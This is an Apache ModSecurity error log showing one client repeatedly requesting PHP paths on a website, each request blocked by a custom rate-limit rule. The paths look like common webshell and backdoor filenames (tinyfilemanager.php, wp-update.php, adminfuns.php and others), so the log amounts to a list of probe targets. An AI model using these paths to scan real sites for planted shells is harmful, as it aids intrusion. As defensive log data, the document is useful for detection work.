[Mon Apr 06 20:05:34.704995 2026] [:error] [pid 35688:tid 35751] [client 51.103.130.249:65337] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/66.php"] [unique_id "adOhjuZ85qg4jLsRpQyokwAAAIE"]
[Mon Apr 06 20:05:35.462128 2026] [:error] [pid 35688:tid 35754] [client 51.103.130.249:63052] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/66.php"] [unique_id "adOhj-Z85qg4jLsRpQyomQAAAIQ"]
[Mon Apr 06 20:05:36.147063 2026] [:error] [pid 35688:tid 35764] [client 51.103.130.249:64342] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/66.php"] [unique_id "adOhkOZ85qg4jLsRpQyonQAAAI4"]
[Mon Apr 06 20:05:36.761417 2026] [:error] [pid 38562:tid 38577] [client 51.103.130.249:65263] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "adOhkKeD6Ohe6wzRuy6EaAAAAUw"]
[Mon Apr 06 20:05:37.390888 2026] [:error] [pid 10280:tid 10298] [client 51.103.130.249:63850] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "adOhkV8QUJkf8g-BFfP1XQAAAc8"]
[Mon Apr 06 20:05:38.236601 2026] [:error] [pid 38562:tid 38573] [client 51.103.130.249:63828] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "adOhkqeD6Ohe6wzRuy6EaQAAAUg"]
[Mon Apr 06 20:05:38.867833 2026] [:error] [pid 1827:tid 1829] [client 51.103.130.249:64366] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "adOhkuVeb6S_DnjZ2xEPEwAAAgA"]
[Mon Apr 06 20:05:39.471018 2026] [:error] [pid 1827:tid 1835] [client 51.103.130.249:65273] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ol.php"] [unique_id "adOhk-Veb6S_DnjZ2xEPGQAAAgY"]
[Mon Apr 06 20:05:40.335691 2026] [:error] [pid 38562:tid 38578] [client 51.103.130.249:63158] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ol.php"] [unique_id "adOhlKeD6Ohe6wzRuy6EcQAAAU0"]
[Mon Apr 06 20:05:41.029650 2026] [:error] [pid 38562:tid 38571] [client 51.103.130.249:65260] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ol.php"] [unique_id "adOhlaeD6Ohe6wzRuy6EdwAAAUY"]
[Mon Apr 06 20:05:41.615059 2026] [:error] [pid 9413:tid 9428] [client 51.103.130.249:63853] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ol.php"] [unique_id "adOhlXllvEK3chn01wHCGgAAAY0"]
[Mon Apr 06 20:06:01.200931 2026] [:error] [pid 9442:tid 9444] [client 51.103.130.249:65277] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "adOhqUPsNnAJTnmz6sbLVQAAAQA"]
[Mon Apr 06 20:06:01.789586 2026] [:error] [pid 38562:tid 38566] [client 51.103.130.249:64409] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "adOhqaeD6Ohe6wzRuy6EnAAAAUE"]
[Mon Apr 06 20:06:02.427980 2026] [:error] [pid 10280:tid 10291] [client 51.103.130.249:63856] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "adOhql8QUJkf8g-BFfP1jQAAAcg"]
[Mon Apr 06 20:06:03.108845 2026] [:error] [pid 38562:tid 38577] [client 51.103.130.249:64437] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "adOhq6eD6Ohe6wzRuy6EoQAAAUw"]
[Mon Apr 06 20:06:03.648034 2026] [:error] [pid 35688:tid 35756] [client 51.103.130.249:63042] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/index.php"] [unique_id "adOhq-Z85qg4jLsRpQyo6gAAAIY"]
[Mon Apr 06 20:06:04.769891 2026] [:error] [pid 35687:tid 35740] [client 51.103.130.249:64328] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/index.php"] [unique_id "adOhrJ3LtDozV0i8BitnUwAAAFE"]
[Mon Apr 06 20:06:05.472948 2026] [:error] [pid 9442:tid 9459] [client 51.103.130.249:63932] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/index.php"] [unique_id "adOhrUPsNnAJTnmz6sbLYwAAAQ8"]
[Mon Apr 06 20:06:06.225148 2026] [:error] [pid 9442:tid 9468] [client 51.103.130.249:65269] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/index.php"] [unique_id "adOhrkPsNnAJTnmz6sbLbAAAARg"]
[Mon Apr 06 20:06:07.075808 2026] [:error] [pid 10280:tid 10300] [client 51.103.130.249:63875] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tinyfilemanager.php"] [unique_id "adOhr18QUJkf8g-BFfP1oQAAAdE"]
[Mon Apr 06 20:06:07.892459 2026] [:error] [pid 9442:tid 9449] [client 51.103.130.249:64362] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tinyfilemanager.php"] [unique_id "adOhr0PsNnAJTnmz6sbLdgAAAQU"]
[Mon Apr 06 20:06:08.671105 2026] [:error] [pid 9413:tid 9426] [client 51.103.130.249:63863] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tinyfilemanager.php"] [unique_id "adOhsHllvEK3chn01wHCMgAAAYs"]
[Mon Apr 06 20:06:09.660794 2026] [:error] [pid 1827:tid 1829] [client 51.103.130.249:61808] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tinyfilemanager.php"] [unique_id "adOhseVeb6S_DnjZ2xEPNgAAAgA"]
[Mon Apr 06 20:06:11.061381 2026] [:error] [pid 9442:tid 9454] [client 51.103.130.249:63074] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-update.php"] [unique_id "adOhs0PsNnAJTnmz6sbLgAAAAQo"]
[Mon Apr 06 20:06:12.490799 2026] [:error] [pid 9442:tid 9454] [client 51.103.130.249:63910] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-update.php"] [unique_id "adOhtEPsNnAJTnmz6sbLkQAAAQo"]
[Mon Apr 06 20:06:13.521917 2026] [:error] [pid 35687:tid 35725] [client 51.103.130.249:63083] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-update.php"] [unique_id "adOhtZ3LtDozV0i8BitnWQAAAEI"]
[Mon Apr 06 20:06:15.051447 2026] [:error] [pid 10280:tid 10284] [client 51.103.130.249:64345] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-update.php"] [unique_id "adOht18QUJkf8g-BFfP1wAAAAcE"]
[Mon Apr 06 20:06:16.050581 2026] [:error] [pid 35686:tid 35720] [client 51.103.130.249:63921] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sbhu.php"] [unique_id "adOhuMMKdea6oORd2fzUcgAAABg"]
[Mon Apr 06 20:06:17.023942 2026] [:error] [pid 35688:tid 35762] [client 51.103.130.249:64410] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sbhu.php"] [unique_id "adOhueZ85qg4jLsRpQypDAAAAIw"]
[Mon Apr 06 20:06:18.571148 2026] [:error] [pid 10280:tid 10300] [client 51.103.130.249:65236] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sbhu.php"] [unique_id "adOhul8QUJkf8g-BFfP1wgAAAdE"]
[Mon Apr 06 20:06:19.570588 2026] [:error] [pid 38562:tid 38565] [client 51.103.130.249:64394] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sbhu.php"] [unique_id "adOhu6eD6Ohe6wzRuy6EygAAAUA"]
[Mon Apr 06 20:06:20.475733 2026] [:error] [pid 35687:tid 35745] [client 51.103.130.249:63929] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "adOhvJ3LtDozV0i8BitnWwAAAFY"]
[Mon Apr 06 20:06:21.216730 2026] [:error] [pid 35686:tid 35705] [client 51.103.130.249:63820] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "adOhvcMKdea6oORd2fzUdQAAAAk"]
[Mon Apr 06 20:06:22.180004 2026] [:error] [pid 35688:tid 35769] [client 51.103.130.249:65287] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "adOhvuZ85qg4jLsRpQypKAAAAJM"]
[Mon Apr 06 20:06:22.866791 2026] [:error] [pid 9442:tid 9461] [client 51.103.130.249:65341] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "adOhvkPsNnAJTnmz6sbLsAAAARE"]
[Mon Apr 06 20:06:23.924593 2026] [:error] [pid 38562:tid 38578] [client 51.103.130.249:64374] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/"] [unique_id "adOhv6eD6Ohe6wzRuy6EzgAAAU0"]
[Mon Apr 06 20:06:24.743724 2026] [:error] [pid 35688:tid 35763] [client 51.103.130.249:65291] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/"] [unique_id "adOhwOZ85qg4jLsRpQypNwAAAI0"]
[Mon Apr 06 20:06:25.366427 2026] [:error] [pid 35688:tid 35757] [client 51.103.130.249:64421] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/"] [unique_id "adOhweZ85qg4jLsRpQypPAAAAIc"]
[Mon Apr 06 20:06:26.481274 2026] [:error] [pid 35688:tid 35773] [client 51.103.130.249:65229] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/"] [unique_id "adOhwuZ85qg4jLsRpQypRAAAAJc"]
[Mon Apr 06 20:06:27.514829 2026] [:error] [pid 10280:tid 10288] [client 51.103.130.249:63915] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "adOhw18QUJkf8g-BFfP11AAAAcU"]
[Mon Apr 06 20:06:28.521078 2026] [:error] [pid 9442:tid 9459] [client 51.103.130.249:63822] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "adOhxEPsNnAJTnmz6sbLvwAAAQ8"]
[Mon Apr 06 20:06:29.151445 2026] [:error] [pid 9442:tid 9456] [client 51.103.130.249:65233] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "adOhxUPsNnAJTnmz6sbLxwAAAQw"]
[Mon Apr 06 20:06:29.921538 2026] [:error] [pid 35688:tid 35756] [client 51.103.130.249:65306] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "adOhxeZ85qg4jLsRpQypRwAAAIY"]
[Mon Apr 06 20:06:30.809058 2026] [:error] [pid 10280:tid 10284] [client 51.103.130.249:65270] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "adOhxl8QUJkf8g-BFfP11gAAAcE"]
[Mon Apr 06 20:06:32.139455 2026] [:error] [pid 38562:tid 38583] [client 51.103.130.249:64334] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "adOhyKeD6Ohe6wzRuy6E2gAAAVI"]
[Mon Apr 06 20:06:33.342070 2026] [:error] [pid 9442:tid 9452] [client 51.103.130.249:65228] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "adOhyUPsNnAJTnmz6sbL1AAAAQg"]
[Mon Apr 06 20:06:34.319579 2026] [:error] [pid 9442:tid 9455] [client 51.103.130.249:63108] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "adOhykPsNnAJTnmz6sbL3gAAAQs"]
[Mon Apr 06 20:06:35.077391 2026] [:error] [pid 38562:tid 38575] [client 51.103.130.249:63126] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "adOhy6eD6Ohe6wzRuy6E3wAAAUo"]
[Mon Apr 06 20:06:36.159322 2026] [:error] [pid 9442:tid 9468] [client 51.103.130.249:64387] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "adOhzEPsNnAJTnmz6sbL7QAAARg"]
[Mon Apr 06 20:06:37.096861 2026] [:error] [pid 35688:tid 35761] [client 51.103.130.249:63118] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "adOhzeZ85qg4jLsRpQypSgAAAIs"]
[Mon Apr 06 20:06:37.799802 2026] [:error] [pid 35786:tid 35815] [client 51.103.130.249:63068] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "adOhzWgkfCKTaLhwaKQbKQAAANY"]
[Mon Apr 06 20:06:38.532933 2026] [:error] [pid 1827:tid 1832] [client 51.103.130.249:64420] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "adOhzuVeb6S_DnjZ2xEPUQAAAgM"]
[Mon Apr 06 20:06:39.622507 2026] [:error] [pid 9442:tid 9451] [client 51.103.130.249:61871] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "adOhz0PsNnAJTnmz6sbL-QAAAQc"]
[Mon Apr 06 20:06:40.313179 2026] [:error] [pid 38562:tid 38580] [client 51.103.130.249:65259] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "adOh0KeD6Ohe6wzRuy6E4gAAAU8"]
[Mon Apr 06 20:06:41.294298 2026] [:error] [pid 9442:tid 9457] [client 51.103.130.249:63077] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "adOh0UPsNnAJTnmz6sbL_wAAAQ0"]
[Mon Apr 06 20:06:42.027389 2026] [:error] [pid 9442:tid 9455] [client 51.103.130.249:63040] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "adOh0kPsNnAJTnmz6sbMCAAAAQs"]
